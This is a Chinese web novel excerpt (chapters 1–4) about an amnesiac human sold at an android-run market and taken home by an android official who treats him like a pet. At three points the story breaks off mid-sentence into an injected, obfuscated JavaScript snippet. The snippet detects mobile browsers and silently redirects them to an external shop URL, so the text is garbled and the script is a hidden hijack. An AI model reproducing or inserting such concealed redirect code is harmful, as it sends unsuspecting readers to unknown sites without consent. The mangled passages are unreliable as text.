《饲主你好我是人》 1. 交易所(一) 交易所的墙体与地板都是白色的。 其间零零星星行走着几个仿生人,大多数在向同一个地方赶去。 位于交易所靠中心位置的一个展示柜里,跪坐着一个人类男孩。 他颈间套着一个金属圈,身上纯白色的衣物格外宽松,只露出脖颈处白净的皮肤,低垂着头,柔软的栗色头发遮住了部分眉眼,看不清神情。 【程鸢,编号8214,年龄18岁,健康状况较差……】 一连串的信息以全息投影的形式悬在男孩的旁边,供展示柜外的仿生人检阅。 “抬头。” 机械音的指令从扩音器中传出。 过了很久,程鸢还是没有动作,颈间的金属圈开始释放电流。 他木然地仰起脸。 聚光灯立刻聚集在他的脸上,刺得他眼睛发涩。 他的容貌完全展示在柜外的仿生人面前。 双眼皮,眼睛圆而漂亮,眼尾微微下垂,唇色很淡,像被水冲淡的胭脂,鼻梁线条柔和精致。 单论长相,程鸢十分纯净,但他脸上始终没有表情,眼神也不聚焦,看上去有些呆滞。 “嗯,这个人类样貌不错。” “但是健康值有点低,不知道带回去之后会不会有麻烦事……” 展示柜外的仿生人买家们议论纷纷。 程鸢能感受到无数双机械眼睛从他身上扫过,他们在读取他的他的面部特征、瞳孔反应、皮肤状态,而他的信用点会在这些审视中上下浮动。 “8214号,微笑。”指令再次响起。 程鸢牵动嘴角,露出练习过千百次的弧度。 “虹膜色素低于标准值12%,这会影响与某些型号仿生人的视觉兼容性。” “但他的肌肉控制度优秀。非常适合作为服务型人类。” 程鸢始终保持着微笑,眼神空洞地扫过交易所后方的电子屏。 那里实时更新着每个商品的信用点,他的数字正在缓慢爬升。 3878……3958……4215…… 还不够。 为了增添刺激性,交易所有个不成文的规定,如果作为“商品”的人类展出后没有在一周内达到5000的基础信用点,就会被送去分解场。 那里不需要完整的个体,只需要可以回收的有机质。 程鸢眼中闪过一丝落寞。 * 不知多久前,他在下城区的管道系统中醒来,完全不记得之前发生过什么。 他靠身上的几块饼干和一壶水爬出了管道,走进了一片一眼看不到尽头的垃圾场。 生锈的金属、残破的布料、腐坏的食物,甚至是动物尸体,各种垃圾堆砌成山。 程鸢行尸走肉般麻木前行,不记得到底走了多长时间,还没走出垃圾场,就被一个人类发现了。 那个人类将他带回自己的住处,破旧的小屋里挤了一家六口人,但收拾得很干净。 他本以为得救了,但第二天就有人找上门来。 因为救他的人同意将他卖出,这属于“人类同意的买卖”而非仿生人强迫,所以他被带到了交易所。 临走时那个人类还因为自己后背有伤,没能卖个好价钱,狠狠踢了自己一脚。 更可笑的是,将程鸢抓到交易所的,以及交易所的工作人员,大部分都是人类。 * 现在,在展台里,程鸢笑得有些累了,但刻在骨头里的恐惧让他不敢放松。 在被教育如何成为一个合格的商品时,稍微放松一点就会面临严酷的惩罚。 他慢吞吞地眨了下眼,平直地盯着前方对自己评头论足的仿生人,眼中并没有焦点。 或许是种种遭遇耗尽了他的求生欲,有时候他会想,或许分解场也是个不错的归宿。 何况……就算再不甘心,也只能这样了吧…… * 距离他的第六次展示时间结束还有不到5分钟。 “8214号,展示背部。” 展柜周围有机械音下达了命令。 程鸢浑身一僵,眼底闪过抗拒。 在程鸢僵着没有动作的十几秒后,脖子上的金属圈开始释放电流发出警告,他只能麻木地转过身,褪下上衣。 一道从脖颈处直达尾椎的竖向疤痕清晰可见。 “瑕疵品!”展示柜外传来嗤声。 有几个仿生人已经对程鸢丧失了兴趣,转身离开。 电子屏上程鸢的信用点也在慢慢下跌。 “8214号今日的展示时间已结束。” 电子音响起,电子屏上程鸢的信用点停止浮动,最终停在了3020上。程鸢心脏像是被泡进了柠檬水里,泛上一阵苦涩。 只剩下最后一次展示了。 这样下去,绝对不可能达到5000信用点。 他空洞地地看着工作人员向这边走来,打开展示柜,给他套上拘束衣。 这种特制服装会限制70%的关节活动,防止在运输途中造成麻烦。 程鸢的身体干瘦到有些病态,皮肤白到透光,嘴唇微微干裂。 在拉扯中凌乱的头发盖住他没有温度的双眼,只能看到他没有弧度的嘴唇。 已经走远的仿生人还在议论:“这个人类虽然长得漂亮,但病怏怏的,感觉经不起折腾,这种货色为什么要拿出来展示,交易所没有别的人类可卖了吗……” 程鸢缓慢地闭上了眼。 谈不上多难过,也没有很害怕。他心中的希望早已熄灭,只剩下了空洞的麻木。 没有什么会比现在更糟了,即将到来的死亡反而是一种解脱。 他的手臂被扭到背后,工作人员动作麻利地给他套上了枷锁。 但,随着金属扣“咔哒”锁死的声音,交易所大门划开的声音诡异地在一众仿生人嘈杂的声音中,闯进了程鸢的耳朵。 仿生人们也渐渐停止了交流,交易所陷入一片寂静。 身旁负责押送自己的工作人员也停下了动作。 程鸢缓慢而僵硬地微微抬起头。 顺着交易所内所有仿生人的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307860|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,程鸢看到交易所入口处一个高大挺拔的身影。 那人穿着上城区特有的银灰色制服,左边胸口别着的三枚菱形徽章,所有特征都指向,来者是一位三阶仿生人。 有些仿生人开始掩着嘴小声议论,窸窸窣窣的声音在交易所内响起。 来交易所的大部分都是一阶,甚至二阶都寥寥可数。 “顾首席,您怎么亲自来了?”交易所主管立刻迎了上去,看上去有一些忐忑与谄媚,“我们这里所展示的人类,都是经过人类同意的,更何况,下城区一向如此,我们与上城区相互独立……” 程鸢终于看清了那位顾首席的样貌。 在程鸢所见过的仿生人中,他的外形也是数一数二的优越。 面部轮廓分明,鼻梁高挺,瞳孔是罕见的深灰色,眼眸深邃冷峻,任何一处细节都堪称完美,像是精雕细琢的作品。 不知为何,程鸢看着顾栩尧深灰色的眼眸,总觉得很熟悉。 “我来补充观察样本。”顾栩尧的声音低沉平稳。 主管立刻调出全息清单:“哦,是需要交易所里的人类吗?我看看,现有库存327件,全部经过基础筛查……” “我需要自行评估。”顾栩尧打断道,目光扫过交易所里的众多展示柜,最终停在了程鸢身上。 程鸢的头只能抬起一个很小的弧度,透过散乱的头发缝隙看顾首席深灰色的眼睛。 他与顾首席对上了视线,感到一阵战栗,有什么东西在他脊柱上轻轻爬过。 顾栩尧缓步走过来,在程鸢面前停下,轻轻挑起了程鸢的下巴。 在交易所,仿生人直接接触“商品”是违规的,但没人敢指出。 程鸢被迫与顾栩尧对视,他在这个仿生人的眼中看不到任何情绪。 周围变得格外安静,静到程鸢能听清自己越来越快的心跳声,和逐渐紊乱的呼吸声。 他注意到顾栩尧的瞳孔微微扩大,那其中有类似与人类虹膜的纹理。 片刻后,顾栩尧用没什么感情的声音说:“你是谁。” 这句话不像真的在询问,倒像是一种试探。 程鸢被拘束衣束缚,一动不能动,他尽力控制,让自己的呼吸平稳。 “8214号,程鸢……” 程鸢的声音太小,小到几乎听不清。主管害怕程鸢惹首席不开心,急得要动程鸢的金属环,被顾栩尧拦下了。 “你记得来这里前发生的事吗?” “……我失忆了,很多事情都不记得。” 顾栩尧沉默了,他看着程鸢,仍面无表情。 程鸢不知道顾栩尧为何偏偏注意到自己,也不清楚他要对自己做什么。 当顾栩尧转过身面对主管时,程鸢听到他说出了自己意想不到的话。 “我要带他走。”顾栩尧直接给出了通知,声音疏离且不容置疑,“这个样本的累积出价是多少。” 主管看着手中的数据板,查询后念道:“3020信用点,距离基准价还有……” “我出10000点。” 2. 交易所(二) 交易所内一片哗然。 主管的声音出现了明显的延迟:“顾首席,您确定吗?8214号有多处瑕疵,而且他的展示期将尽……” “交易成立吗?” 主管立刻调出合约:“当然,当然!第七科学院享有优先采购权……” 顾栩尧从内袋取出一枚数据芯片,“这是我的印记。” 主管将芯片插入验证槽,绿色的光亮起。他简单浏览了顾首席传送给自己的文件,神情变得复杂,纠结了一会儿,十分恭敬地询问道:“顾首席,您要签署的是私人合约,这意味着8214号不会被送往科学院,而是成为您的私有物,您确认吗……?” “确认。” 即便所有人都觉得不可思议,也没人敢质疑顾栩尧的决定。 主管当即通过了合约,程鸢颈间的金属圈“滴”地一声解开了。 他终于不再受这个金属圈的禁锢。 “样本移交程序已启动。”主管宣布道,“8214号现在是顾首席的私有财产。根据《人类管理条例》,我们会将他运送至您提供的地址……” “不用了,他直接跟我离开。检查也不必做了。” “好的。” 主管下令,工作人员利落地解开了程鸢身上的拘束衣。 程鸢被绑了很久,身上仍然很麻,脑袋也很晕,揉着手腕,不确定自己还在不在现实中。 是因为自己在绝望中沉浸了太久,所以幻想出来这位顾首席来救自己吗……? 他小心翼翼地看向顾栩尧,注意到顾栩尧的深灰色眼睛也平和地望向自己。 “程鸢?” 程鸢立刻低下头,小声说:“是的,首席先生。” 他不敢再抬头,不安地盯着自己的脚尖。 过了好一会儿,顾栩尧才没什么感情地说道:“不用害怕。” 程鸢身上一僵,立刻鞠躬道:“……好的。” 顾栩尧看着他,微微蹙起了眉,但没有再多说什么。 经过顾栩尧的同意后,工作人员走过来撸起程鸢的袖子,在他手臂上扎了一针。 程鸢被植入了芯片,这意味着上城区的权限向他开放了。 主管递来一个盒子,有些迟疑问:“顾首席,是否需要为8214佩戴?” 程鸢向盒子里看去,那里面摆着一个项圈。 不同于他刚摆脱的金属圈,盒子里的项圈更加轻便高级,隐隐泛着柔和的蓝色光芒。 顾栩尧沉默着移开视线,表示拒绝。 主管:“好的,我们会将项圈送到您家中。” “走吧。”顾栩尧对程鸢说。 他的声音依旧冰冷,没有任何感情。但程鸢听得心口泛酸。原本他几乎接受了自己的命运,但真的有人来救他了。 这一切像梦,甚至比梦还要不可思议。 星火燎原般的情绪将他淹没,他的心在沸腾,蒸腾着向上翻涌,挥发出水雾蒙住了他的视线,他在一片迷蒙中看着顾栩尧。 “走吧,程鸢。” 周围的仿生人还在小声议论,所有人的视线都集中在二人身上。 程鸢有些局促,埋头快步向前跟上顾栩尧。 顾栩尧迈出的步子很大,而程鸢由于身体不适,加上长时间的束缚,动作并不灵敏,跌跌撞撞拼尽全力才勉强能跟上。 以至于猛地撞上顾栩尧,二人都停下了脚步。 顾栩尧转头,看向程鸢。 程鸢揉着鼻子,看到顾栩尧皱着眉有些疑惑的神情后,心中泛上一股凉意。 自己做了十分莽撞的事。 程鸢立刻道歉:“我不是故意的……” 他声音很小,小到几乎听不到,身子也微微颤抖,感觉下一秒就要哭了。 顾栩尧默默地看了程鸢一会儿,点了点头,转身继续向前走。 程鸢愣了片刻,顾栩尧的声音从前方传来:“跟上。” 交易所的门自动滑开了。 经过一道扫描门后,程鸢回头看了一眼交易所。 主管操作着全息投影,有关编号8214的信息在一点点清零。 程鸢终于有了一些实感。 自己作为“商品”的人生,告一段落了。 …… 悬浮车穿过城邦的垂直边界,窗外的下城区逐渐缩小成一片模糊的灯光。 从下城区往上三十层的高度开始出现隔离网,那些闪烁的蓝色光带是粒子屏障,没有植入芯片的人类和仿生人都被禁止通行。 程鸢在顾栩尧对面的位置上,坐立难安。 他尽量将自己缩成很小的一团,减少存在感,身体微微颤抖,一直看向窗外,试图记住路线,但外面地形复杂,悬浮车的行驶速度也很快,程鸢的努力显然是徒劳,他只能警惕地观察顾栩尧。 将自己买下的这位首席先生……很好看,虽然不怎么说话,很严肃的样子,但程鸢莫名地不是很怕他。 他觉得,顾首席和来交易所的那些仿生人好像有点不一样。 那些人看向自己的眼神中常常满是审视,像是在评估一件物品的价值。 而首席先生好像真的看到了自己。 他还喊了自己的名字…… 脑中响起首席先生喊自己名字时的声音,那个许久没人喊过的名字…… 程鸢后知后觉地感到陌生,还有点不好意思,耳尖开始微微泛红。 说起来,车厢内也太安静了…… 程鸢再次抬眼偷偷打量顾栩尧,发现他还在看手中控制面板,连表情都没变过。 ……程鸢好像在控制面板上看到了自己的照片,但他不敢多问。 从顾栩尧将自己带出交易所,到现在,二人都没有说过一句话。 这样也好吧……首席先生的注意力不在自己身上,自己就能放松一点…… 就在程鸢身体颤抖的幅度越来越小时,顾栩尧冷不丁地开口问:“你感觉怎么样?” “……” 程鸢身子一僵,小心翼翼地看着顾栩尧,没有回答。 “没办法说话了吗?或许我需要重新和交易所确认你的健康状况。” “能!”程鸢扯着干涩到沙哑的嗓子,急切地大声喊道,“我能说话的……” 顾栩尧皱眉看着程鸢。 他对人类这种生物还不太熟悉,只当程鸢是短暂故障后恢复了,没有深究,用没什么感情的声调说:“我们接下来要去科学院的附属住宅,B6栋。” 程鸢的声音依旧沙哑,谨慎地搭话道:“……是您的住处吗?” “我们的。”顾栩尧纠正道,“你将与我同住。” 共同居住。 这个词在人类社会中意味着关系亲密。 但程鸢有些怀疑,在顾首席这里,将自己关在房间中的笼子里,也算共同居住。 他紧张地抿了抿嘴唇。 “你的健康状况一般。”顾栩尧边看数据板边说。 “检测结果是这样……” “后背有一条很长的疤痕?” “是的。” “怎么来的?” “……我不记得了。” “嗯。” 顾栩尧没再说话了。 程鸢看了眼顾栩尧微皱的眉头,心揪作一团,独自纠结了很久,问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307861|198733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “您会因此嫌弃我吗?” 他的声音太小了,小到几乎听不见。 “为什么?” 程鸢垂下脑袋,不敢直视顾栩尧,硬着头皮继续说:“我不算是很优质的人类,您看过资料之后或许想把我扔回交易所……但我不想回去,只要您不丢下我,我什么都愿意做,我……” 程鸢顿住了,他说不出自己能为顾栩尧做什么,眼中盈出了泪水,垂下头,不说话了。 顾栩尧似乎很困惑,但还是简单解释道:“我只是了解一下你的基础情况,没有把你送回交易所的打算。” 程鸢抬起了头,眼中闪着盈盈泪光,可怜巴巴地看着顾栩尧,像一只刚被捡回家的落魄小狗。 顾栩尧情绪未变,深灰色的眼睛一直盯着程鸢,“说实话,我对人类不感兴趣。但我会尽力照顾你,希望你配合。” ……虽然不知道原因,但这对自己来说是好事吧。 程鸢泪汪汪地看着顾栩尧,用力地点点头。 * 悬浮车开始减速,程鸢的视野忽然被一片白色填满。 窗外的主体建筑冰山般矗立在夜空中,这里没有下城区常见的杂乱广告牌,只有规律闪烁的导航灯和偶尔掠过的巡逻无人机。 程鸢呆呆地看着窗外的一切。 悬浮车的门缓缓打开,顾栩尧站起了身。 “有些事情你需要遵守。”顾栩尧说,“第一,乖乖听我的话,第二,不要到处乱跑;第三……”他顿了顿,“惹了麻烦要第一时间告诉我,不要对我有所隐瞒。” 程鸢懵懵懂懂地点头。 顾栩尧盯着程鸢看了一会儿,问:“你可以提问。” 他谨慎地看着顾栩尧的脸色,问:“其实我想问,您为什么会选中我……?” 顾栩尧沉默了片刻,才开口:“你没必要知道具体原因。” 程鸢压力更大了,声音糯糯地说:“那……您把我从交易所救出来,带回家,是需要我做什么吗?请告诉我吧,我会努力照做的。” 顾栩尧看了程鸢一眼,语气平平地说:“没什么,活着就好。” * 顾栩尧带着程鸢穿过三道生物识别的门禁。 上城区与下城区相比,空气洁净度更高一些。程鸢接触到了从未感受过的新鲜空气,偷偷缓慢地深呼吸了几下,尽力控制着呼吸的幅度,不让自己发出什么声音。 B6栋是座黑白色的建筑,入口没有任何装饰。 程鸢小心翼翼地打量了一番周围的环境,没有看到别的仿生人,周围空旷而寂静,对程鸢来说有一种无声的压迫感。 门锁识别到顾栩尧的虹膜后无声滑开,程鸢跟在顾栩尧身后踏入一个宽敞的起居空间。 出乎意料,这里并不像程鸢想象中那样冰冷。浅木色的地板,米白色的沙发,还有能看到夜空的全景窗,很像是某个人类中产者的家。 “除了我的工作间,其他地方都可以自由出入。”顾栩尧指了指左侧走廊靠右边的一个房间,“想进工作间的话,需要我的许可。” 程鸢仍然拘谨地站在门口,他不确定自己是否被允许触碰那些看不出材质的家具。 但是……看上去没有可以把自己塞进去的笼子,不知道房间里有没有…… 顾栩尧站在原地不动了,程鸢等了半天都没有动静,他小心翼翼地抬头看顾栩尧的脸色,发现顾栩尧微微皱眉,看着自己,不知道在想什么。 程鸢被盯得心里发慌,十分局促地问:“怎、怎么了吗?” “嗯,你……”顾栩尧上下打量了一眼程鸢,看了眼他身上脏到发硬的衣服,“你先去洗澡吧。” 3. 附属住宅(一) 程鸢询问了浴室的位置,得到许可后转身走向那个方向,后面脚步越来越快,看上去简直像是在逃跑。 可当他一头扎进浴室,想将门合上时,一只手出现在了门边,浴室门感应到触碰,停止了滑动,慢慢打开了。 顾栩尧出现在了门后,脸上依旧没有表情,平静地注视着程鸢。 程鸢有些害怕,但他能感受到这个仿生人没有恶意,于是缓慢眨了下眼,疑惑不解地喃喃开口:“顾先生……?” “怎么了?” 居然是他问自己“怎么了”吗? 程鸢微微垂下头,睫毛在脸上投出一小片阴影,看上去很乖,用花光了所有勇气、但依旧很小的声音说:“我要洗澡了,请您出去……” 顾栩尧理所当然道:“我帮你洗。” 什么? 程鸢简直怀疑自己是幻听了。 他僵在了原地,支支吾吾地说:“不用了,还是别麻烦您……” “不麻烦。” 程鸢看着顾栩尧平静的神情,完全搞不懂这个仿生人到底是什么意思。 他在交易所的时候,听别的“人类商品”讲过,被买走的人类会是什么下场,捉弄取乐、调教亵玩,总之完全不会被当作人来对待。 他被顾栩尧带走时,也做好了被折磨的心理准备。 他想着,自己一定要活下去,只要能活下去,就还有希望。 可是,顾栩尧居然要给自己洗澡……? 这也是什么折磨人类的手段吗? 程鸢咬了咬嘴唇。 就算对方不是人类,可看上去也是一个正常的成年男子,程鸢绝对不愿意让他在旁边看着自己洗澡。 他不敢直视顾栩尧,垂着头说:“我会很小心地用浴室里的东西,不会弄坏的。” 顾栩尧也面无表情地站在门边,一本正经地说:“我更担心你被弄坏,人类是脆弱的生物,你独自沐浴,有滑倒的风险和清洁不彻底的可能,我需要在场监督,必要时提供帮助……” 一想到这个刚刚认识的仿生人要看自己的裸体,程鸢就有点头皮发麻。 他心一横,略提高了音量喊道:“可是人类洗澡的时候是不能给别人看的,所以请让我自己洗吧。” 说完后,他后知后觉地开始害怕。 就算首席先生和别的仿生人不一样,但也是传闻中残暴冷酷的仿生人。 这就是自己的缺点,遇到不想做的事情时总会下意识地反抗,所以在交易所吃了很多苦。 如果首席先生生气的话,会打自己吗?还是会不给自己饭吃…… 程鸢胆战心惊地等了很久,也没有等到顾栩尧的回应。 他悄悄抬头观察顾栩尧,对方的表情淡淡的,似乎有些不解,但完全没有生气的意思。 看上去是很好说话的主人啊。 程鸢眨了眨眼,试探道:“我想自己洗澡,可、可以吗……?” 顾栩尧眼里的程鸢,眼睛湿漉漉的,眼尾向下,满是恳切的祈求。 他的意识出现了一瞬的空白,随机强行镇定下来,开始分析程鸢的话。 他在程鸢的话中捕捉到了几个字。 独立的空间。 在回来的悬浮车上,他看完了程鸢的资料后,搜索了“该如何养人类”。 他没搜到养人类的经验,倒是有不少旧时期人类留下的养宠经验。 顾栩尧思考了片刻,觉得原理应该差不多,于是认认真真地读完了。 此时,他回想起了《养宠指南》里的一句话:“宠物刚到家需要独立的空间,尽量不要打扰,让它们自行探索,以免产生应激反应”。 他沉默了半晌。 妥协了。 扔下一句“适应期我会给你一定的空间”,转身离开。 适应期? 程鸢没太听懂顾栩尧在说什么,但好歹算是糊弄过去了。 他松了一口气。 首席先生,居然愿意答应自己的请求。 他并不像传闻中那么凶狠残暴。 或许可以试着好好相处…… 程鸢转身走进浴室,即使有使用指南,他也花了将近十分钟才弄明白浴室里的设备怎么使用。 水龙头没有物理开关,而是需要手势控制温度和水量。 他折腾得一身狼狈,终于试出了合适的水温。 该脱衣服了。 他下意识地向上看,想看看这个空间里有没有什么监控设备。 观察了一会儿后,程鸢意识到,就算有监控,凭肉眼应该也看不出来。 他老老实实地慢吞吞脱下衣服,站在水下。 温热的水从他的头顶倾注而下,冲刷他的身体,他闭上眼,静静站了许久。 他抬起手,摸了摸尾椎处那条疤痕的一端。 这条疤痕,在他从管道里醒来时就有了。 其实他并不知道这条疤痕长什么样,但他偶尔会触摸位于尾椎的一端。 他不知道自己到底有过怎样的遭遇,才会留下那些人口中丑陋狰狞的疤痕。 太多事情都是未知的。 自己莫名其妙地从管道中醒来,莫名其妙地被扔到了交易所,又莫名其妙地被顾首席带回家里。 如果可以,他也很想弄清楚,自己身上到底发生过什么。 * 顾栩尧送来的衣服对于程鸢来说实在是太大了。 他想,这应该是顾栩尧自己的衣服。 他伸手摸了摸那分外柔软舒适的奇怪布料,站在镜子前端详自己。 刚刚洗过的深栗色头发十分蓬松,皮肤白皙,甚至白到有些不正常。 在宽大衣物的衬托下,程鸢显得更加纤瘦、羸弱。 他想起自己资料里记录的“健康状况较差”。 如果他在交易所每天只吃两顿营养糊还能身强体壮,恐怕很值得被送去解剖研究了。 镜面忽然浮现一行字。 「洗完后到餐厅来。」 程鸢愣了愣,磨蹭了好一会儿,才不太情愿地走向了餐厅。 他到餐厅的时候,看到顾栩尧已经在那里了,正在往桌子上摆餐盒。 他慢吞吞地凑过去,瞥见了餐盒里食物看起来新鲜得不可思议,蔬菜切片,蛋白质块,甚至还有一小碗水果丁。 在下城区,这种未经加工的天然食材只有仿生人可以食用。 他并不敢肖想这样的美食是为自己准备的,十分克制地咽了咽口水,不敢再乱瞟,规规矩矩地站在一旁,等顾栩尧的指令。 “坐。”顾栩尧指了指餐桌。 程鸢愣了愣,虽然疑惑,但不敢反驳,挑了个最角落的位置,小心翼翼地坐下。 顾栩尧将餐盒一一排开。 程鸢的胃部隐隐抽痛。 他已经很久没有吃过像样的饭了。 等了很久,顾栩尧都没有动手的意思,程鸢有些拘谨地抬头看顾栩尧。 他在期盼顾栩尧拿出属于自己的那份食物,或者是快点吃,将吃剩的残羹剩饭赏给自己。 “吃。”顾栩尧坐在程鸢对面,又自顾自地拿出数据板,不再看程鸢了。 程鸢彻底僵住了。 这居然是给自己吃的吗?! 他震惊万分,依旧不敢动,小心翼翼地问:“您不吃吗?” 顾栩尧:“我需要记录你的进食过程。你自然进食就好。” 看上去真的是给自己准备的。 眼前的饭菜确实有不小的诱惑力。 程鸢胃部的灼烧感催促着他拿起叉子,戳向一块胡萝卜。 牙齿咬下去的瞬间,清甜的汁液充满了口腔。 程鸢尽力减小咀嚼的幅度,控制住表情,一小口一小口地吃着,但眼睛还是不受控制地湿润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然免不了一顿毒打和关禁闭室,但比起在那些人面前像小狗一样跪着走、汪汪叫,程鸢宁可受惩罚。 ……所以,如果自己坚持的话,应该也可以拒绝掉顾栩尧的要求吧。 虽然不知道能拒绝多久,但能拖一会儿是一会儿吧…… 顾栩尧的卧室很大,米白色的基调添了一些温馨,床特别大,如果是在交易所,这么大的地方可以睡五个人类。 程鸢站在顾栩尧身后一动不动,他看到那张床后,心中后知后觉地升起一股恐惧。 他想起了交易所的培训课里,教人类该怎么在床上取悦仿生人…… 真的……很恶心。 周遭的一切声音都像消失了,只剩下他越来越清晰的心跳,在颅内一下下地撞击,甚至生出了一种呕吐的冲动。 “首席先生……”程鸢尽力控制着自己的声音,让其听上去不会干涩到刺耳,“其实我真的可以自己睡。” 顾栩尧干脆利落地否决,“不行。” 程鸢抿了抿嘴唇,眼中蒸出了水汽,用湿润的眼睛看着顾栩尧,呢喃道:“可不可以不要今天……我真的还没准备好。” 顾栩尧愣了一瞬,表情依旧冰冷没有感情,“如果现在不困,可以现在旁边坐一会儿。”在程鸢心中生出希望时,顾栩尧补充道,“但你今晚必须在这儿睡。” 程鸢的希望又被浇灭了。 “我、我是第一次做那种事情。”程鸢十分委屈,声音细细地颤抖,带着一丝哭腔,“我还什么都不懂,怕让你不高兴……可不可以等我学习一段时间,再……” “什么事情?” 顾栩尧一脸疑惑地打断了程鸢。 4. 附属住宅(二) “啊。”程鸢的眼睛被吓得水汪汪的,但被顾栩尧一问又有些呆愣,“就是……嗯……一起睡觉……” “一起睡觉而已,你怕什么?” 程鸢呆住了,挂在眼角的泪水让他看上去有些滑稽,“我怕的是一起睡觉的时候要做的事情。” 顾栩尧:“要做什么?” 程鸢张了张嘴,说不出话了。 顾栩尧拿出数据面板说:“如果你现在不想睡,我可以给你找几本书看。” 他仰着头,有些呆地问顾栩尧:“什么书?” 顾栩尧则没什么感情地念道:“《人类情感量化分析》、《触觉反馈与人类社交行为》、《脆弱物种》……” …… ? “这是我最近在看的书,你也可以看一看,帮助你更好地了解自己。” 程鸢呆呆地从顾栩尧手里接过存了很多书的数据板。 现在这样……好像和自己预想中的走向完全不一样。 这样发展是正常的吗……? “还有,你睡前要佩戴这个。”顾栩尧递给程鸢一个手环,“它会记录你的生理数据和睡眠质量。不要尝试拆卸。” 程鸢纠结了一下。 顾栩尧如果真的想对自己做什么,应该会明着来,没必要绕弯子,毕竟自己也打不过他。 于是他一只手抱着数据板,另一只手顺从地伸了出去,送到顾栩尧眼前。 顾栩尧愣了愣,似乎没想到程鸢会直接将手递过来。 他低头看程鸢莹白纤细的手腕,心里莫名有些痒痒的。 他抬手,将手环细致地扣在程鸢手上。 仿生人的指尖擦过程鸢的皮肤时,程鸢注意到了那种偏凉的温度。 他注意到了顾栩尧专注的神情。 或许自己真的很走运,遇到了一个温柔的仿生人。 ……话虽然这么说,但程鸢还是本能地无法放松警惕。 他按照顾栩尧说的那样,在桌边端端正正地坐着,一边偷偷关注顾栩尧,一边翻着数据板里高深莫测的书。 他一个字都看不进去,硬生生熬到了睡觉时间。 就算顾栩尧真的什么都不做,程鸢也无法接受和他同床共枕。 “程鸢。” 首席先生在喊自己了…… 程鸢缩着头不想回应顾栩尧,顾栩尧走过来戳了戳他的头,“又不能说话了?需要送到交易所维修吗?” 程鸢一僵,不情不愿地走向了床的位置。 原本想等顾栩尧躺下自己再作打算,但顾栩尧一动不动,一直看着自己,程鸢只好慢吞吞地走向远离顾栩尧的一边。 他在顾栩尧的注视下手脚并用地爬上了床。 床格外柔软,程鸢觉得自己撑着床的手掌立刻陷进去了。 ……如果不是旁边还躺着一个仿生人,这张床会更舒服吧。 灯被关掉了,周围一片漆黑。 程鸢小心翼翼地控制着呼吸,以防声音太大。 他小心翼翼地挪了挪,又挪了挪,无限接近床沿,远离顾栩尧。 “再挪就掉下去了。” 程鸢一惊,身子瞬间僵住了。 “指南上说,宠物第一天到家可能有很强的焦虑感,看上去你适应得不错。” 程鸢腹诽了一句真的算适应得不错吗……问顾栩尧:“什么指南?” “《养宠指南》。” 程鸢:“……所以说您把我当成宠物吗?” “你也可以这么理解。” 啊……这样的身份是程鸢没有想到的,但他也不知道情况是好是坏。 这或许取决于首席先生是不是“爱宠人士”…… “好吧……但其实,养人和养动物是不太一样的。”程鸢小声开口,斟酌着用词,“就比如说,我可以自己洗澡,也可以自己睡觉……” 顾栩尧冷不丁地说:“你养过人类吗?” 程鸢愣了愣,回答:“没有。” “那你怎么知道该怎么养。” “我就是知道啊,因为我就是人类。” “当人类和养人类不一样。” 程鸢:“……” 这个仿生人也太固执了吧。 程鸢有些无语,他脸颊鼓起,不知道怎么和仿生人争论这个问题,索性不说话了。 二人共享了片刻沉默。 顾栩尧:“睡着了吗?” 程鸢:“……没有。” “嗯,听你的气息也不太像。”顾栩尧的声音很冷,没什么温度,“有什么想问的吗?可以问我。” “唔……我确实有一件事很好奇,就是,您到底为什么选择了我,把我带回了家?交易所还有很多更优质的人类,就算是当宠物,他们好像也比我更适合吧……” 顾栩尧迟迟没有说话。 在程鸢以为他不会回答自己的时候,他才开口道:“原因对你来说不重要。” 程鸢抿了抿嘴唇。 他让自己问的,问了又不回答…… 真是莫名其妙。 程鸢都有点生气了,但他当然不敢发脾气,只能默默生闷气。 他们没有再说话了。 程鸢仰躺着,双手抓着被子的边边,把被子拉上去,遮住了自己的小半张脸。 一整日的紧绷令他没有任何困意,他眼睛睁得圆圆的,盯着房间的天花板,开始回想这一天的经历。 自己没有被送去分解场,离开了交易所,现在吃的饱饱的,睡着柔软又干净的床。 他又开始怀疑,自己会不会还在交易所里,而这些是他做的一场梦。 毕竟他总是做梦…… 他急于确定什么,想确定自己是否真的安全,但他不敢再问顾栩尧了,只好自己胡思乱想。 ……过了很久,程鸢终于迷迷糊糊地闭上眼,落入梦境。 他向下坠,轻柔地落到了某个地方。 似乎是月夜,但月光格外暗淡,他坐在管道口的边沿处,望着黑漆漆的前方。 但似乎并不是他醒来之后发生的事,因为他身边还有一个声音,让他别怕…… * 电子音将程鸢从睡梦中拽出,他脑袋有些发懵,一时间分不清自己身在何处。 叫醒他的不是交易所尖锐的警报声,而是闹钟发出的规律蜂鸣。 程鸢躺在床上,感受到一阵极其短暂的心悸与耳鸣,他深吸一口气,缓了片刻,直到不适的感觉淡去。 